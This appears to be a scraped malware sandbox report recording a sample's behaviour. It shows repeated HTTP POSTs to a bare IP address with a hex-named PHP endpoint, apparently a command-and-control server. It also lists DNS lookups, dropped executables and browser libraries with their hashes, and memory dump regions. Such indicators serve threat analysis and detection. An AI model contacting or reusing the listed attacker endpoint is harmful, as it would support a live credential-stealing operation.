        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.209/3cd2b41cbde8fc9c.php

        HTTP Response

        200
      • 20.157.87.45:80
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        http
        u16g.1.exe
        836 B
         721 B
         6
        6

        HTTP Request

        POST http://svc.iolo.com/__svc/sbv/DownloadManager.ashx

        HTTP Response

        200
      • 185.93.2.245:443
        download.iolo.net
        tls
        2.5MB
         61.9MB
         42809
        44562
      • 20.157.87.45:80
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        http
        u16g.1.exe
        836 B
         657 B
         6
        6

        HTTP Request

        POST http://svc.iolo.com/__svc/sbv/DownloadManager.ashx

        HTTP Response

        200
      • 20.9.155.148:443
        westus2-2.in.applicationinsights.azure.com
        tls
        SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        2.4kB
         5.9kB
         13
        12
      • 8.8.8.8:53
        90.128.172.185.in-addr.arpa
        dns
        641 B
         1.1kB
         9
        9

        DNS Request

        90.128.172.185.in-addr.arpa

        DNS Request

        8.8.8.8.in-addr.arpa

        DNS Request

        209.128.172.185.in-addr.arpa

        DNS Request

        download.iolo.net

        DNS Response

        185.93.2.245

        DNS Request

        148.155.9.20.in-addr.arpa

        DNS Request

        nexusrules.officeapps.live.com

        DNS Response

        52.111.243.30

        DNS Request

        30.243.111.52.in-addr.arpa

        DNS Request

        self.events.data.microsoft.com

        DNS Response

        20.42.73.30

        DNS Request

        30.73.42.20.in-addr.arpa

      • 8.8.8.8:53
        228.128.172.185.in-addr.arpa
        dns
        274 B
         260 B
         4
        3

        DNS Request

        228.128.172.185.in-addr.arpa

        DNS Request

        svc.iolo.com

        DNS Response

        20.157.87.45

        DNS Request

        245.2.93.185.in-addr.arpa

        DNS Request

        245.2.93.185.in-addr.arpa

      • 8.8.8.8:53
        59.128.172.185.in-addr.arpa
        dns
        408 B
         530 B
         5
        3

        DNS Request

        59.128.172.185.in-addr.arpa

        DNS Request

        45.87.157.20.in-addr.arpa

        DNS Request

        westus2-2.in.applicationinsights.azure.com

        DNS Request

        westus2-2.in.applicationinsights.azure.com

        DNS Request

        westus2-2.in.applicationinsights.azure.com

        DNS Response

        20.9.155.148

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Are.docx
        Filesize

        11KB

        MD5

        a33e5b189842c5867f46566bdbf7a095

        SHA1

        e1c06359f6a76da90d19e8fd95e79c832edb3196

        SHA256

        5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

        SHA512

        f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

        Download Submit

      • C:\ProgramData\mozglue.dll
        Filesize

        593KB

        MD5

        c8fd9be83bc728cc04beffafc2907fe9

        SHA1

        95ab9f701e0024cedfbd312bcfe4e726744c4f2e

        SHA256

        ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

        SHA512

        fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

        Download Submit

      • C:\ProgramData\nss3.dll
        Filesize

        2.0MB

        MD5

        1cc453cdf74f31e4d913ff9c10acdde2

        SHA1

        6e85eae544d6e965f15fa5c39700fa7202f3aafe

        SHA256

        ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

        SHA512

        dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\u16g.0.exe
        Filesize

        310KB

        MD5

        9bf8ec9df67ed11334f2d7a797324107

        SHA1

        bb6e2f05bd01361503c0eb4712c1d9df8978d4ae

        SHA256

        2371cd711da18555d6f4798131216cee00af960b59beaf8522ca9917b922a3dc

        SHA512

        65d0f45d3fcc598fac2811df9acb2c6ec55ee98a9782825730637b5cd1f65815b6334b6a680dbfaf9fd7f71280eaee6a4d081199cddc0a971c8544a53e200edf

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\u16g.1.exe
        Filesize

        4.6MB

        MD5

        397926927bca55be4a77839b1c44de6e

        SHA1

        e10f3434ef3021c399dbba047832f02b3c898dbd

        SHA256

        4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

        SHA512

        cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

        Download Submit

      • memory/1528-1-0x0000000002FD0000-0x00000000030D0000-memory.dmp

        Filesize

        1024KB

        Download

      • memory/1528-2-0x0000000004BB0000-0x0000000004C1C000-memory.dmp

        Filesize

        432KB

        Download

      • memory/1528-3-0x0000000000400000-0x0000000002D4F000-memory.dmp

        Filesize

        41.3MB

        Download

      • memory/1528-57-0x0000000000400000-0x0000000002D4F000-memory.dmp

        Filesize

        41.3MB

        Download

      • memory/1528-75-0x0000000004BB0000-0x0000000004C1C000-memory.dmp

        Filesize

        432KB

        Download

      • memory/2724-31-0x0000000061E00000-0x0000000061EF3000-memory.dmp

        Filesize

        972KB

        Download

      • memory/2724-100-0x0000000000400000-0x0000000002D2C000-memory.dmp

        Filesize

        41.2MB

        Download

      • memory/2724-193-0x0000000000400000-0x0000000002D2C000-memory.dmp

        Filesize

        41.2MB

        Download

      • memory/2724-192-0x0000000000400000-0x0000000002D2C000-memory.dmp

        Filesize

        41.2MB

        Download

      • memory/2724-191-0x0000000002DD0000-0x0000000002ED0000-memory.dmp

        Filesize

        1024KB

        Download

      • memory/2724-189-0x0000000000400000-0x0000000002D2C000-memory.dmp

        Filesize

        41.2MB

        Download

      • memory/2724-15-0x0000000000400000-0x0000000002D2C000-memory.dmp

        Filesize

        41.2MB

        Download

      • memory/2724-14-0x0000000004A30000-0x0000000004A57000-memory.dmp

        Filesize

        156KB

        Download

      • memory/2724-13-0x0000000002DD0000-0x0000000002ED0000-memory.dmp

        Filesize

        1024KB

        Download

      • memory/3680-26-0x0000000002980000-0x0000000002981000-memory.dmp

        Filesize

        4KB

        Download

      • memory/3680-113-0x0000000000400000-0x00000000008AD000-memory.dmp

        Filesize

        4.7MB

        Download

      • memory/3680-115-0x0000000000400000-0x00000000008AD000-memory.dmp

        Filesize

        4.7MB

        Download

      • memory/4748-133-0x00000173D4930000-0x00000173D49AA000-memory.dmp

        Filesize

        488KB

        Download

      • memory/4748-168-0x00000173D9560000-0x00000173D9582000-memory.dmp

        Filesize

        136KB

        Download

      • memory/4748-131-0x00000173D4850000-0x00000173D487A000-memory.dmp

        Filesize

        168KB

        Download

      • memory/4748-132-0x00000173D4880000-0x00000173D4932000-memory.dmp

        Filesize

        712KB

        Download

      • memory/4748-129-0x00000173D4590000-0x00000173D45B4000-memory.dmp

        Filesize

        144KB

        Download

      • memory/4748-134-0x00000173D49B0000-0x00000173D4A12000-memory.dmp

        Filesize

        392KB

        Download

      • memory/4748-135-0x00000173D4A90000-0x00000173D4B06000-memory.dmp

        Filesize

        472KB

        Download

      • memory/4748-136-0x00000173D43E0000-0x00000173D43EA000-memory.dmp

        Filesize

        40KB

        Download

      • memory/4748-140-0x00000173D4B10000-0x00000173D4E10000-memory.dmp

        Filesize

        3.0MB

        Download

      • memory/4748-128-0x00000173D4410000-0x00000173D4424000-memory.dmp

        Filesize

        80KB

        Download

      • memory/4748-126-0x00000173D4400000-0x00000173D4410000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4748-159-0x00000173D45D0000-0x00000173D45E0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4748-160-0x00000173D9530000-0x00000173D9538000-memory.dmp

        Filesize

        32KB

        Download

      • memory/4748-162-0x00000173D45D0000-0x00000173D45E0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4748-161-0x00000173D8EB0000-0x00000173D8EE8000-memory.dmp

        Filesize

        224KB

        Download

      • memory/4748-163-0x00000173D8E80000-0x00000173D8E8E000-memory.dmp

        Filesize

        56KB

        Download

      • memory/4748-167-0x00000173D9540000-0x00000173D954A000-memory.dmp

        Filesize

        40KB

        Download

      • memory/4748-130-0x00000173D45C0000-0x00000173D45CA000-memory.dmp

        Filesize

        40KB

        Download

      • memory/4748-169-0x00000173D9AC0000-0x00000173D9FE8000-memory.dmp

        Filesize

        5.2MB

        Download

      • memory/4748-173-0x00000173D95D0000-0x00000173D9620000-memory.dmp

        Filesize

        320KB

        Download

      • memory/4748-177-0x00000173D9580000-0x00000173D958C000-memory.dmp

        Filesize

        48KB

        Download

      • memory/4748-127-0x00000173D4420000-0x00000173D442C000-memory.dmp

        Filesize

        48KB

        Download

      • memory/4748-186-0x00000173D98A0000-0x00000173D98C2000-memory.dmp

        Filesize

        136KB

        Download

      • memory/4748-188-0x00000173D4F30000-0x00000173D4F4E000-memory.dmp

        Filesize

        120KB

        Download

      • memory/4748-125-0x00000173D45E0000-0x00000173D46F0000-memory.dmp

        Filesize

        1.1MB

        Download

      • memory/4748-124-0x00000173D45D0000-0x00000173D45E0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4748-120-0x00000173B6540000-0x00000173B9E38000-memory.dmp

        Filesize

        57.0MB

        Download

      • memory/4748-119-0x00007FFEF3C40000-0x00007FFEF4702000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/4748-194-0x00007FFEF3C40000-0x00007FFEF4702000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/4748-195-0x00000173D45D0000-0x00000173D45E0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4748-196-0x00000173D45D0000-0x00000173D45E0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4748-197-0x00000173D45D0000-0x00000173D45E0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/4748-198-0x00000173D45D0000-0x00000173D45E0000-memory.dmp

        Filesize

        64KB

        Download

      We care about your privacy.

      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.